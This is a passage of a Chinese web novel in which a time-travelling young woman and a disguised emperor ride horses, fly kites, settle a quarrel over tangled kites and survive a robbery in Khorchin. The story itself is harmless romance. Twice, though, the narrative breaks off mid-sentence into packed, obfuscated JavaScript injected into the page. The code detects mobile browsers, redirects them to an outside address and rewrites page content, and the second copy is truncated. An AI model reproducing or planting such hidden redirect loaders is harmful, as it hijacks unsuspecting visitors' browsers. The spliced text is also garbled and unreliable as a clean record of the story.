听到他的话,董浣浣睁开双眼,把头转向他,就看见安齐修在盯着她看,眼神温柔缱绻。 董浣浣被他这样的眼神给引诱了,直勾勾的盯着他,一时无话。 来古代的这些天,董浣浣其实一直都没有安下心来,她总有一种她随时可以回去的错觉。一直以来也只是把这段旅程当做了一段时空旅行,做好了随时回去的准备。 可是在经历过了那一场刺杀,从鬼门关回来之后,她突然明白了一个道理,她可能真的回不去了。 心里难过是一定的,更多的认清了现实,让自己的心安定下来。她应该好好的在这里生活下去,努力适应这里的一切。 不过还好,她足够的幸运。在这个世界里她有着爱她的家人,找到了人生的目标,也找到生命中的唯一,一个可以安心依靠的人。 抬眼望去,眼前这个才貌双全又温柔绅士的男人,这个她在古代一见钟情的男人,如今是她的了,真好。 董浣浣看着安齐修,眼神不掩迷恋,轻声说:“我们去骑马吧,我还没骑过马呢。”,语气里不自觉的夹杂着小女儿撒娇的甜腻味。 这是她第一次谈恋爱,也是可能是她人生中唯一的一次恋爱。想想在封建的古代有这么一个人愿意和她认认真真的谈一场恋爱,然后从一而终,相伴到老,也挺好的。 以前看《还珠格格》的时候,董浣浣就特别羡慕主角们骑着马,唱着歌,谈着恋爱,手牵着手行走在广阔的草原上。那时候她就希望有一天可以体验一下和心爱的人一起骑着马,手牵着手驰骋在辽阔的大草原上的感觉。 今天终于有机会真实的体验一次了。 听到她的提议,安齐修的眼睛还是一眨都不眨的盯着她,眼神极尽温柔,对她说:“好。” 说完安齐修先站起身来,随手拍了拍身上的灰尘,然后把左手递给董浣浣。 董浣浣坐起身来,看到他递出来的手,在心里默默的对安齐修说:从今天开始我就把自己交给你了,希望你不要负我,然后伸出手抓住了他的手。 安齐修的手掌包裹住董浣浣的手,用力一抻,就把董浣浣从草地上拉了起来,董浣浣一个没站稳跌到了他的怀里。 脸上顿时绯红一片。 安齐修像是听到了她的心声一般,低头对着怀里的董浣浣说:“你放心,我这一生定不会负你。” 董浣浣听到他这么说,脸变得更红了,趴在他的怀里不敢露出头来。 安齐修看着她的小脑袋,待在他的怀里一动也不敢动的,唇角不自觉的勾出了一抹笑,心想:这大概是他自出生以来最幸福的时刻了。 他想要的人,也想要他。 今天早上听她说要出来“约会”,安齐修特意没有带卫苑那几个累赘。 这是她第一次主动来找他“约会”,自当是想要两个人在一起的。 应董浣浣的要求,安齐修很快带着她找到了一个租马的马场。 和马场的驯马师简单的交流了一番说明来意,下了定金之后,他们很快的就被驯马师带到了马厩。 到了马厩,董浣浣被眼前的场景惊呆了忍不住发出了一声:“哇。” 之前在李员外家看到的马厩和这个马厩相比,简直是小巫见大巫,用现代的比喻就是小卖部和大型超市的差别。 不愧是马背上的民族,董浣浣今天算是长见识了。 这里的每一匹马都要比她在李员外家见到的要大一些,毛色锃亮,精气神十足,威风凛凛的。 董浣浣跟着驯马师一匹一匹的看过去,就像是刘姥姥的进了大观园一样,眼花缭乱的。 安齐修走在她旁边看到她这个样子,头凑向她微笑着小声开口提醒:“不要只是看,选一下你想要哪一匹,咱们买了。” 董浣浣被他突然凑过来的气息搞得有些脸红,小心的看了一眼前面的驯马师,然后示意安齐修低下头,她有话要说。 安齐修按照她的要求停住脚步低下头,董浣浣又看了一眼驯马师的背影,发现他并没有停下脚步看他们,才小心翼翼的凑到安齐修的耳朵旁说:“我对马一点都不懂,你要是也不懂的话,我们随便挑一匹租一个时辰就好了,千万别让他知道我们不懂,”董浣浣看了一眼还在往前走的驯马师接着说:“坑了咱们的钱。或者我们就说我们没有喜欢的,就不租了,毕竟我们现在还不知道什么时候能回家,钱要省着花才好。” 安齐修听完她说的话,学着她的模样低头凑近她的耳边小声的笑着说:“我懂一点马,他骗不了我的,还有我们还没有拮据到买不起马的程度。” 董浣浣听到他这话才算是放下心来,劝了一下安齐修他们租一个时辰就好,买马他们回京带着不方便,得到安齐修不买只租的承诺后,就把租马的任务全权交给了安齐修。 董浣浣本来是想要租借两匹马的,然后他们一人一匹,然后手牵着手浪迹天涯去。 结果就看到安齐修停在了一个小红马的马厩前不走了。 当然了说它小,是和马厩里其他的高头大马比起来。如果把它和其他董浣浣以前见过的普通的马相比的话,它还是很高大的。 这小红马,毛色靓丽,此时正在安静的低头吃草。 说实话,董浣浣看不出来它和其他马相比有什么特殊之处,要给它专门建个马厩,看给它的这规格,要是在宾馆怎么也算是个总统套房了。 安齐修指着那匹小红马对驯马师说:“我们就要它了。” 刚刚还滔滔不绝的在给他们介绍其他马 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董浣浣只需一眼就知道这个人绝非寻常人家的人物,这种出场方式在武侠小说里,一般不是主角就是大侠。 安齐修看了一眼那人,询问道:“适才先生这样说,敢问这匹马是先生所有吗?” 那人笑笑:“这匹马是家中小妹爱马,从小陪伴她长大,先生想要用钱财与之交换,恐怕不妥。” 安齐修闻言,声音清冷道:“钱财不能够与之交换,那其他东西呢?” 那人答道:“先生是想要用什么与她交换呢,恕我直言,舍妹生命中还从来没有她想要却不能得到,要与人交换的事物。” 安齐修:“先生现在下结论未免为时尚早,人生路长,我们且看以后。不过”,安齐修顿了一下接着说:“如先生所言,我这个人最讨厌强人所难”。 那人闻言笑笑:“那我拭目以待。” 安齐修便不在与他多言,转头看向董浣浣,脸带歉意道:“既然是人家爱马,我也不好强行抢来送给你,日后定当寻觅更好的良驹,从小饲养它长大送给你。” 董浣浣本来也没有很喜欢那匹马,只是看他们一来一往的舌战很有意思,所以并没有插话,待安齐修转头和她表示歉意之后,遂摆摆手表示没关系:“我又不懂马,送给我也是浪费,更何况我们路上也不好带。” 安齐修摸了一下她的头,表示安慰。 那人看了一眼他们两个的互动之后,提议:“这匹马,我虽不能做主卖给你们,却可以做主借给你们一天。” 安齐修闻言,推辞道:“多谢先生慷慨相借,但我从不碰他人的所有物。” 那人目光在董浣浣的身上停留了一下然后转头看向安齐修说:“连骑都不让她骑,你就这样委屈她?” 安齐修神色冷淡的看向那人道:“不,我绝不会让她受一点委屈,我只会给她更好的。” 安齐修话音刚落,刚才还晴朗的天,突然下起了雨来,雨式汹涌澎湃。 反正也并未在马厩中挑选出合适的马匹,又赶上下雨,董浣浣和安齐修商量了一下,稍作停留,待雨停后,便离开了马场。 27. 雪融 董浣浣以为骑马那事,让安齐修在马场失了面子,从草原回到客栈后,遂一直也不敢再提骑马的事了,小心翼翼的呵护着他的自尊心。 谁知又过了几天,董浣浣还是如愿的和安齐修骑上了马。 马匹是安齐修和卫苑一大早去附近的马场亲自挑选的,董浣浣一起床,就听到紫鸢和小柒在那里叽叽喳喳的描述,安齐修给她买了一匹特别漂亮的马儿。 小柒兴奋的拉着董浣浣的手,激动的说:“姐姐,姐姐,那个马长得真的好漂亮啊,我长这么大还从来没有看到过这么漂亮的马呢。” 董浣浣一头黑线,心想:你才多大啊,就说什么长这么大。你没见过,只能证明你还小,见得世面比较少罢了。 紫鸢在旁边纠正小柒:“都告诉你多少回了,要叫小姐,怎么又叫姐姐。” 小柒不好意思的摸摸头,认错道:“我这不是激动吗,我知道错了紫鸢姐。” 鉴于她认错态度良好,紫鸢点点头,警告她下次不准再犯。 得到小柒的保证后,紫鸢才满意的附和她道:“小姐,真的那匹马真的长得很好看。” 经过了她们俩的一通描述,董浣浣心动了,在紫鸢和小柒都没有反应过来的瞬间,穿上衣服,把头发随手扎成了一个马尾,都没有洗漱就跑到了安齐修的房间里,说要去看马。 董浣浣进去的时候,正好单良也在,看到董浣浣这幅样子进来,赶忙背过身去。 董浣浣被单良的动作搞得一愣,抬起胳膊看了一下自己,衣服穿得好好的,头发了扎了一个马尾,就是没有洗脸,也没有什么见不得人的地方啊。 安齐修看了一眼她现在的这个样子,轻咳了一声说:“回去乖乖穿好衣服,好好吃完饭,我让单良带你去看。” 董浣浣心不甘情不愿的走回房里。 董浣浣洗漱完,吃过饭之后才被安齐修允许,在单良的带领下去看了那马儿一眼。 这一眼下去,董浣浣觉得自己可能是爱上了一匹马。 这匹马浑身雪白,体型健硕,长须飞扬,《西游记》里描写的小白龙幻化的白龙马,也不过如此。 董浣浣对此马爱不释手,想要伸手去摸摸它,却被单良给制止住了:“浣儿小姐,它通人性,此刻还没有把您当做主子,您现在还不要触碰它比较好,待一会主子让它带你们出去,让它认认主,您再摸它也不迟。” 董浣浣闻言,赶忙缩回想要去摸那匹马的手,她是在电视剧上看到过,如果马不认主人,强行去摸它,马会变得很暴躁,甚至有可能会伤人。 董浣浣脑补了一下她被马儿一脚踹飞的场景,吓得不寒而栗,回过神来抖抖身上的鸡皮疙瘩,董浣浣决定,还是听单良的劝,过一会等安齐修来了,她再去摸它吧。 安齐修房里。 卫苑有些不解的问道:“主子,你就把雪融这么轻易的就送给浣主子了,怎么说它也是从小跟着您一起长大的。” 卫苑最近越来越摸不透主子的想法,一向稳重谨慎的主子,在这样随时可能会把行踪泄露给多尔衮,招来杀身之祸的当下,居然让他从宫里把“雪融”带出来。 安齐修正在一边给邢流云写密函,听到卫苑的话,他停住了笔说:“有何不可,雪融只是从小陪朕一起长大的牲畜,而她是要陪朕一起到老的人。”,安齐修转过头看向卫苑:“朕连自己都给她了,一匹马又能算得了什么呢。” 听到安齐修这么说,卫苑现在彻底的知道了,董浣浣在安齐修心目中的位置了,便不敢多言,安静的站在一边。 “朕知道你在担心什么?”,又过了一会,安齐修盯着他继续说:“现在我们不是要隐藏行踪的时候,最好让全蒙古都知道朕到了这里微服出巡了,现在动静越大越好,动静越大我们越安全,明白吗?” 卫苑思考了一下安齐修的话,突然明白了他的意思。虽然皇上没有大张旗鼓的告知天下他出巡至此,但现在在亲贵们中间也算是公开的秘密了,蒙古各部自然不会让皇上在他们的势力范围内受伤,定会暗中保护他们的安全,多尔衮想要派人在此时行刺,难于登天。 待安齐修把密函写好,递给他:“切记让送信的人一定要送到他的手中,让他尽快进京做好准备。” 卫苑接过信,神色严肃的道:“微臣遵旨。” 安齐修点头。 卫苑把信放到了衬衣里又问道:“固伦额驸的事情应该怎么办,依您的意思他那天在马场好像就已经认出您来了,微臣这几天依照您的吩咐跟踪了一下他的日常,并没有什么异常。” 安齐修闻言,神色淡淡的道:“你派个人继续盯着就好,他也只是听到了什么风声想要试探于朕,即使是确定是朕,他也不会做出什么出格的事情的,多尔衮和朕,他一定会站在朕的这边的。” 卫苑答:“微臣明白。” 说完,在得到安齐修的允许后推门出去了。 另一边。 董浣浣围着这匹名唤“雪融”的宝马,左看看,右看看,怎么看怎么喜欢,怎么看怎么满意。 怎么看,怎么觉得,这匹马比前两天看到那匹不愿意卖的小红马好看多了。 不须时,董浣浣便看到安齐修从客栈里出来,来到了他们这里。 安齐修看了一眼董浣浣此刻的模样,心里便有了底:看样子是很喜欢。唇角不自觉的弯成了一抹弧线。 他走到董浣浣的面前,微笑着问:“怎么样,喜欢吗?” 听到安齐修的提问,董浣浣高兴的跑到了他的身边,挽住他的胳膊,一晃一晃的开心的说道:“喜欢,喜欢,太喜欢了。你从哪里找来的这匹马,简直和天上的神驹一样了,我从来没见过长得这么漂亮的马儿。” 安齐修就这样任她挽着他的胳膊晃悠,情绪也忍不住的受她的影响,勾起唇角:“你喜欢就好,我们去骑骑看。” 单良被眼前的场景惊呆了,他还是第一次看到主子这个样子的任由一个女子这样靠近他,拉着他,就是新皇当年 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待拉着董浣浣的手把马儿从头到尾抚摸了一遍之后,安齐修冲着雪融的耳朵轻声说:“雪融,你以后就是她的了,要听她的话,明白吗。” 安齐修的话音刚落,那马好像通人性一样,抬起头冲着天上叫了一声,接着把头靠向董浣浣,蹭了蹭董浣浣的脖子。 董浣浣惊奇的看向安齐修问道:“它这是认我做主人了吗?” 安齐修微笑着点头。 董浣浣更惊奇了:“安齐修,你是在哪里找到的长得这么漂亮又聪明的神驹的?” 安齐修:“附近马场随便挑的,你喜欢就好。” 董浣浣高兴的赞叹:“安齐修,你太厉害了,随随便便的就能在马场里找到这么聪明的马儿。” 站在旁边牵着马的单良默默的在心里给董浣浣解释:浣主子,这可不是皇上随随便便在哪个犄角旮旯买的野马。是御马监千挑万选出来的,皇上从小养到大的马,您可要悠着点养啊。 董浣浣在仔细欣赏完雪融之后,唤了紫鸢一声,想让紫鸢扶她一把她好上马。 紫鸢闻声刚要上前,就被安齐修一个眼神制止了:“不用,我来。” 安齐修一抬手就把董浣浣抱上了马背,把她的脚放进马鞍里,待她坐稳后,嘱咐她:“抓好缰绳,我给你牵着马,别怕。” 董浣浣点点头,按照他的话,紧紧的抓住了缰绳。 在确认她坐好了之后,安齐修从单良手里接过缰绳给她牵着马,转头看向众人,吩咐道:“我们两个出去就好,你们不用跟来了,都回房吧。” 单良看到自己家主子这个样子又被吓到了,主子在给别人牵马,他以为今生都不会出现的场景就这样明晃晃的出现在了他的眼前。 不过基于他多年察言观色的功底,很快反应过来,按照吩咐带着众人回客栈去了。 安齐修则牵着马带着董浣浣出了街道,往草原方向去了。 28. 骑马,放风筝 和安齐修共乘一马驰骋在广阔的大草原上,董浣浣的心情彻底飞起来了,在心中默默感叹,这到底是什么样的神仙剧情啊,居然有一天会落在她的头上。 风儿在耳边轻轻的掠过,空气闻起来甜丝丝的,董浣浣躲在安齐修的怀里,手抓着马儿脖子前面的缰绳,心里在不断地冒着粉红色的泡泡。脑海里自动响起了《还珠格格》的那首bgm,让我们红尘作伴、、、、、、 马儿又跑了一会之后,安齐修缓缓的勒住缰绳,让马儿把速度降下来。 安齐修低头问怀里的董浣浣:“要不要下去走走,休息一下。” 闻言,董浣浣抬头看向他的脸,只见他目光如泉水一般涓涓的望着她,眼睛里仿佛有着流不尽的柔情,嘴唇微微的弯成了一个弧线,整个脸部的线条极尽温柔,董浣浣被此刻的他的表情迷住了,眼睛一眨不眨的盯着他的脸。 从额头到睫毛到眼睛再到鼻子,每个地方都细细的观察,在心里默默的品鉴一番。 目光顺势往下移,在他的下巴停住。他的下巴棱角分明,皮肤光滑细腻,看上去手感很不错的样子。 董浣浣承认,这一刻她色迷心窍了,动了不该动的心思,想要伸手去亲证一下触感。 就在她的魔爪就要伸出来玷污仙子的盛世容颜的时候,迟来的理智终于回归了,及时的把她拉回了现实。 还好,还好,悬崖勒马,为时不晚呐,董浣浣在心里默默庆幸。 董浣浣轻咳了一声,掩饰住内心的尴尬,对安齐修说:“好。” 安齐修低头嘱咐她把缰绳抓好,坐稳,自己则一转身下了马。 站定后,安齐修向董浣浣伸开双臂,轻声说:“来,我抱你下来。” 董浣浣闻言,脸上微微有些红,有些羞涩的开口道:“其实,我自己是可以下来的。” 安齐修看着她,瞬间了解了她的那点小心思,微微的摇摇头:“雪融它有点高,你自己下来可能会摔到。来,乖,把你的手给我。” 听他这么说,董浣浣也不好再矫情的推辞了,小心翼翼的倾身靠近安齐修,双手缓缓的箍住了他的脖子。 待她圈住他的脖子之后,安齐修轻声嘱咐她:“抱紧。” 他的声音就在耳边,语气低沉而宠溺,周围的空气随着他说话的震动声在她耳朵上小心的跳跃着,酥酥麻麻的。 听到他的叮嘱,董浣浣听话的又紧了紧箍住他脖子的手。 感觉到她的小手又在他的脖子上收紧了一些之后,安齐修轻勾了一下唇角,才抱紧她的腰,一使劲轻松的把她从马背上抱了下来。 她的体重很轻,抱起来像朵软软的棉花一样。 把她从马背上抱下来安齐修也不急于把她放到地上,反而好整以暇的低头去看她,只见她的小脸贴在他的胸口,微微的有些红,小心翼翼的呼着气。这样的她真的是难得一见,让他一时间想要就这样抱着她,永远不放手了。 终于待在他怀里的被他以深情的目光盯着的董浣浣实在是憋不住了,挥了挥小手,让他把她放下来,安齐修才小心翼翼的把她放到了地面上。 在安齐修这一连窜的动作下,董浣浣始终是大气都不敢喘一下的,第一次被除开父亲以外的一个男人这样公主抱,她的小心脏扑通扑通的跳个不停。 待站稳后,董浣浣松开安齐修的脖子,有些害羞的说了一声:“谢谢。” 安齐微笑着摸了摸她的头,声音温柔的说道:“浣儿你要记住,我们之间,不用说谢谢。” 闻言董浣浣小声的回了句:“哦,我记住了。” 听到她的回话,安齐修满意的点了点头。 微笑着一手牵着董浣浣,一手牵着马,往太阳的方向走去。 一个时辰之后。 两人在一片风筝的海洋中停了下来。 董浣浣还是第一次在古代看到这么多的人一起在放风筝的场景,被震撼住了。 男女老少,拖家带口,小孩子在放风筝,大人或坐或卧,一边吃着点心,一边聊天。 走在她旁边的安齐修看着她一脸向往的样子,低头浅笑着征询她的意见:“我们要不也去参与一下?” 董浣浣正在望着天上的风筝惊奇着,听到他这么说,才低头看向他:“不了吧,我们牵着一匹马走到人群中,可能会吓到小孩子。” 安齐修笑笑道:“不用,我们把融雪暂时寄放在那里就好。” 董浣浣循着他的视线望过去,就看到那里有个马厩模样的房子,外面还摆放着一些风筝和小吃之类的东西,有点类似于现在景点周围的临时寄放点和小吃摊。 既然有这样的地方,董浣浣觉得他们参与一下也是可以的。 两人牵着马,走到那房子前。 摊主是个约莫五六十岁的老者,安齐修询问了一下寄养马儿的事项和价钱,就准备把马儿交给摊主了。 此时董浣浣却有些犹豫了,手指悄悄的捏了一下安齐修的手掌,暗示他不要把雪融交给摊主。 主要是这个摊主长得实在是太凶神恶煞了,虽说是不可以貌取人,但是俗话也说防人之心不可无,她可不想她去玩了一会,就要和雪融永远的说再见了。 安齐修感觉到她的触碰,低头用一种疑惑的眼神看向董浣浣。 董浣浣当着摊主的面,也不好说些什么,欲言又止的差点把自己憋死。 也许是摊主因为长相受到的歧视太多了,又或者是董浣浣的表情太过明显,那个想要接过缰绳的摊主轻咳了一声道:“姑娘你放心,我是不会把你的马儿偷走卖掉的。” 听到摊主这么说,董浣浣脸刷的一下红了。 太丢人了,小人之心怀疑别人,却被人当场揭穿,实在是太丢人了。 那人看到董浣浣这样一幅懊恼的样子,怕她不相信又接着说:“你看,刚刚有位小姐也把她心爱的名驹寄放在这里了,我还给喂了粮草呢。” 董浣浣顺着他手指的方向就看到了那匹小红马。 董浣浣忍不住的在想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815853|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们和这匹马还真是有缘分呐。 安齐修看她看着那匹小红马不说话,张口替她解释道:“老伯,你误会了,她只是脸皮有点薄,想让我给她买风筝,又不好意思说而已。” 安齐修把雪融的缰绳递给摊主,然后又转头询问董浣浣:“这里面你喜欢哪个,我们买一个。” 听到安齐修的询问,董浣浣回过神来,眼神从那匹小红马身上转到面前的一堆风筝上。 在安齐修的示意下,挑挑拣拣的选择了一个牡丹型的风筝。 在安齐修问她问什么选这款风筝的时候,董浣浣想了想。 此风筝做工精良,图案画的惟妙惟肖,等等还有什么词能够吹嘘它的好让她非选它不可来着,算了,董浣浣放弃了,指了指天上飞的那些风筝对安齐修说:“整个天上好像就没有一个牡丹型的风筝,它太可怜了。” 安齐修循着她的手上往天上看去,仔细的找了找,好像还真的没有牡丹的风筝,遂低下头冲着董浣浣笑笑道:“好的,我们就买这个风筝了。” 付过钱,拿上风筝之后,安齐修带着董浣浣往那群放风筝的人群中走去。 和安齐修拿着风筝走到人群中,董浣浣左看看,右看看,有点不好意思起来,她最后一次放风筝的记忆还是在小学,她家老爹老妈带着她去郊游的时候放的,别的细节她都忘了,却独独没有忘记她放风筝的技术着实有些太差劲,基本上都没放起来过,如今却要在这么多人的面前放风筝,万一要是一直放不起来的话感觉会有点丢脸。她丢脸也就算了,害得安齐修和她一起丢脸的话,就太不划算了。 董浣浣靠近安齐修身边小声的和他说:“要不我们别放了吧,我放风筝从来都没有放起来过。” 安齐修闻言笑了笑,靠近她的耳边说:“你放心,我小的时候经常放风筝的,不会让你丢人的。” 董浣浣这才放下心来,心想:你会放风筝,你早说嘛,害我替你担心了半天。 既然安齐修说他会放风筝,董浣浣就把放风筝的主动权交给了安齐修,他说什么董浣浣都照做。 选好了位置,董浣浣按照安齐修的要求待安齐修把风筝松开后,站在那里拿着线往上抻,然后边松线边后退然后往上抻。 安齐修松开风筝后走到她的身后,虚抱着她,左手附在她的左手上帮她拿着线轴,右手附在她的右手上帮她往上边松边抻线。 眼看着他们的风筝越飞越高,越飞越高。 只是此时董浣浣所有的感官都在背后的安齐修身上,哪里还有时间管风筝飞的高不高呀。 不须时,他们的风筝就飞到了别的风筝难以匹敌的高度,董浣浣的感官也在周围人的议论声中回到了风筝上。 这是她第一次把风筝放的这么高,虽然大部分是安齐修的功劳,不过她也挺自豪的。 董浣浣正得意呢,就看到对面不知道从哪里来的,有一个凤凰型的风筝和他们飞到了同样的高度,然后距离他们越来越近,越来越近,最终缠在了一起。 29. 遇袭 “额吉,快看,那两个风筝飞的好高啊。” 一个小男孩激动的拉着他的母亲,兴奋的叫嚷着。 他身旁的妇女听到他说的话,微笑着一边点头一边把手里的糕点递给他道:“是很高。” 小男孩接过了糕点就往嘴里送,眼睛还是一眨不眨的盯着天上的风筝看,待他一块糕点都吃完了,又向旁边的妇人问道:“额吉,为什么那两个风筝还不分开呢?” 董浣浣望着天上那缠在一起难舍难分的两个风筝一脸黑线,真是千算万算没有算到还能出现这种情况啊,所有丢脸的情况安齐修都帮她都规避过去了,好不容易这么露脸一回,这下又全都泡汤了。 董浣拉着风筝线尝试着分别往上下左右使力试图把两个风筝分开,但是都没能成功。 董浣浣无奈了,有些气闷的想:当一回人人艳羡的女主角可真难啊。 到底是谁家的风筝啊,为什么也要放这么高啊。一样高就一样高吧,为什么还非得往他们这边凑呢,这下好了吧,缠在一起了吧。 那个小孩的声音又从身边响起:“那个姐姐好笨哦,都解不开。” 董浣浣闻言瞪了他一眼,小男孩吓得赶忙躲进妈妈的怀里了。 董浣浣看见他这样,有点委屈的转头看向她背后的安齐修问道:“所以,我们现在该怎么办呢?” 安齐修温柔的低下头看着她笑笑,小声的安抚道:“没关系随它们去吧,过会应该有人会过来找我们,我们等他一下,看看对方怎么说。” 听到安齐修这么说,董浣浣点了点头,转过身去,继续研究天上的那两只风筝。 有点郁闷的想:一只牡丹和一直凤凰怎么就缠在了一起了呢。 一个花中之王,一个是鸟中之王,花鸟不相容,这个寓意很不好。 不知道为什么董浣浣的心里隐隐觉得有些不安。 不多时,有一个穿着粉色蒙古服饰的女孩循着风筝线气冲冲的来到了他们面前。 女孩怒瞪着眼睛,口气不善的道:“你们是怎么放风筝的,把我们家小姐的风筝都缠上了。” 听她这么说,董浣浣当时就怒了。 什么叫恶人先告状这就是了,明明是她们的风筝后飞上来缠住她的风筝的,现在居然说她把她们的风筝缠上了。 董浣浣叉着腰,摆好架势,正想要反驳她的时候,就被一声男声给打断了。 来人是个看上去十六七岁的男子,应该是和面前的这个女孩是一伙的。 男子拉着女孩的胳膊,脸带歉意的向董浣浣鞠了一躬说了声抱歉,然后转头数落刚才的那个女孩:“少爷就知道你会这样,才让我来帮你给人家道歉。” 女孩嘴里哼了一声甩掉男人的手,倒是也不在和董浣浣嚷嚷了,转头看向别处。 男人看了一眼董浣浣和她身旁帮她拿着风筝线轴的安齐修解释道:“两位实在抱歉,那只凤凰的风筝是我家小姐的风筝,不小心缠住了您的风筝,现在风筝分不开了,我们家少爷让我过来问问两位需要什么赔偿?” 听到男人这么说,董浣浣没答话看向安齐修,安齐修看了她一眼,走到那男人的身边道:“赔偿就算了,我就想知道对于缠在一起的风筝,你们家主人打算怎么解决?” 那个男子听到安齐修这样问,有些不好意思的拿出剪刀对安齐修说:“我家少爷说,对于这样的纷争还是剪断烦扰,让它们随风去吧。” 闻言安齐修先是笑了一下,随即脸色一变,一脸严肃的看向那个年轻男子:“这样处理也不是不可以,但是”,他看向旁边那个转头看向别处的女孩:“需要这位姑娘为她刚才对我家娘子不尊重的态度和我家娘子道歉。” 那个一脸愤愤转头看向别处的女孩,听到安齐修这样说,嚯的一下转过身来,看向安齐修:“我凭什么向她道歉,你知道我们家小姐是谁吗?” 安齐修看着她笑笑:“我不知道你们家小姐是谁,我只知道你需要为你刚才对我家娘子的态度道歉。” 董浣浣站在他旁边眼睛一眨不眨的盯着安齐修的侧脸看,这种被保护的感觉实在是太好了,安齐修发起火来的样子真帅。 那个女孩还想说些什么,只不过她刚要张口,就被安齐修盯着她的目光吓着了,这还是从她出生以来第一次被一个年轻男子的目光吓着了,她从小就跟在主子的身边,主子一直拿她做妹妹看待,所以即使是在老爷面前她也从未怯场过,此刻她不明白,这没来由的恐惧是从哪里来,明明那人脸上还对着她笑着。 男人听到安齐修这么说,低头在女孩的耳边嘀咕了一句什么,之后那女孩便不情不愿的看向董浣浣开口道歉道:“抱歉,刚才是我无理了,还望您不要见怪。” 董浣浣也不是一个爱斤斤计较的人,虽然看出了她的道歉绝非心中所想,但是既然已经道歉了,也没必要斤斤计较她是不是有足够的诚心,遂顺势接受了道歉,给大家一个台阶。 既然已经接受了道歉,也就意味着接受了刚才那个男人的提议,董浣浣接过那个男人递过来的剪刀,在安齐修的注视下剪断了风筝线。 另一边放风筝的人看到董浣浣把线剪断了,遂把风筝线也剪断了,两只风筝随着风的方向越飘越远直至看不到了。 男人和女孩处理完问题,和安齐修董浣浣道了谢,便沿着刚才的路回去了。 董浣浣悻悻的看着他们远去的背影,好一会才转头看向旁边的安齐修问:“接下来,我们去干什么?” 安齐修收起了身上所有的戾气温柔的看向董浣浣道:“我们去城东看皮影戏。” “皮影戏?”,董浣浣重复。 安齐修笑笑:“对,我昨天让卫苑打听了一下,据说这里有个名家皮影戏说的很好。” 皮影戏,这种中国古代的传统表演形式,董浣浣早有耳闻,也在电视上看见过多次,没想到今天可以去和安齐修一起去看现场版的了。 董浣浣一扫刚才风筝事件的阴霾,惊奇向安齐修问道:“那个地方在哪里,我们现在去会不会有点晚了?” 前两天安齐修让卫苑去打听附近有什么可供游玩的去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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再接着耳边就传来,安齐修的凌厉的声音:“卫苑!” 接着便有卫苑的声音传来:“主子!” 安齐修:“接下来交给你了!” 卫苑:“属下明白。” 又过了一会便听到一些杂乱的脚步声离开又靠近,从头到尾那个劫匪竟然一句话也没有说。 待一切恢复平静之后,董浣浣这才被安齐修松开遮挡她双眼的手。 这一切来得太突然了,董浣浣被他捂住眼睛的时候大气都不敢发一声,更别说插嘴问话了,现在一切归于平静了,董浣浣才敢张口问他:“刚才到底发生了什么事情了,那个劫匪呢?” 安齐修低头笑着看着她道:“没事了,卫苑都会处理好的。” 董浣浣知道他这是不想她再接着问下去,遂乖乖的回答他一声:“哦。” 又过了一会,两人从吓摊了的摊主那里接过了雪融,转身准备离开。 就看到上次在马场见到的那匹小红马主人的哥哥,站在他们身后不远处笑着对安齐修说:“公子,好气魄!” 30. 偶遇 董浣浣觉得他们和小红马主人的哥哥,也太有缘了吧。 科尔沁这么大,他们几天之内已经遇到两回了。 那人走到他们面前,看了一眼雪融道:“公子果然是说到做的的人,这匹汗血马无论是从体态还是皮毛上都比舍妹的‘如风’更胜一筹。” 听他这样说,身为雪融新主人的董浣浣感觉很自豪,她就知道雪融一定比那匹名为“如风”的小红马要好的多。 安齐修闻言,只是笑笑,并未答话。 那人没有听到安齐修的回应也不恼,自顾自问道:“公子能不能透漏一下这匹马是从何处得来,据我所知整个科尔沁恐怕也很难找到第二匹这样的马了。” 安齐修面无表情的看了一眼那人,语气平淡的说:“先生这话就是谬赞了。你如果喜欢的话,仔细找找还是可以找到的。” 那人听完,只是笑笑,眼睛盯着雪融的马鬃,眼里尽是赞叹之色:“这马鬃银白油亮,一看就是马中的极品”,说完这句话又换成了一副惋惜状:“我这辈子是没有这个福气了,能拥有一匹这样的马。” 董浣浣站在一边看他这样,忍不住在心里吐槽:古代人也这么戏精的嘛。 片刻,那人收回看向雪融的目光转头看向安齐修拱手道:“相逢即是有缘,这偌大的科尔沁我们都遇到两次了,也算是故交了,在下孟章砚,敢问公子尊姓大名?” 待他自我介绍完,安齐修意味深长的看了他一眼才道:“在下安齐修,”伸手拉过站在一旁的董浣浣接着介绍:“携内子浣浣来科尔沁游玩。” 待安齐修介绍完之后,孟章砚冲他们分别又行了一次拱手礼。 安齐修和董浣浣一一回礼。 礼毕,孟章砚把目光停留在了董浣浣身上。 在孟章砚探寻的目光下,董浣浣礼貌性的笑了笑。 孟章砚冲着董浣浣也笑了一下,然后把目光又转到了安齐修的脸上,正要张口,就被身后的男声给打断了。 来人一边嘴里喊着少爷一边小跑到孟章砚的身旁。 那人气喘吁吁的对孟章砚说:“小姐让我来报信,说她和少夫人先回去了,让少爷你把如风帮她带回去。” 孟章砚微眯了一下眼,看向来人“语气不善”道:“布和,你什么时候成了她的传话筒了?” 被少爷“训斥”的布和微微低下头,语气有点委屈的碎碎念:“小姐让我传话,我敢不传到吗。” 孟章砚把他的碎碎念尽数听进了耳朵里,接着“训斥”道:“你怕得罪她,就不怕得罪我吗?” 那人弱弱的回道:“我当然是两个都怕得罪了。”,又在心里默默的加了一句:如果非要得罪一个的话,还是得罪少爷比较好,少爷脾气好,至少没有杀身之祸。 孟章砚听到他这么说,满意的点了点头:“还知道我是谁就好。” 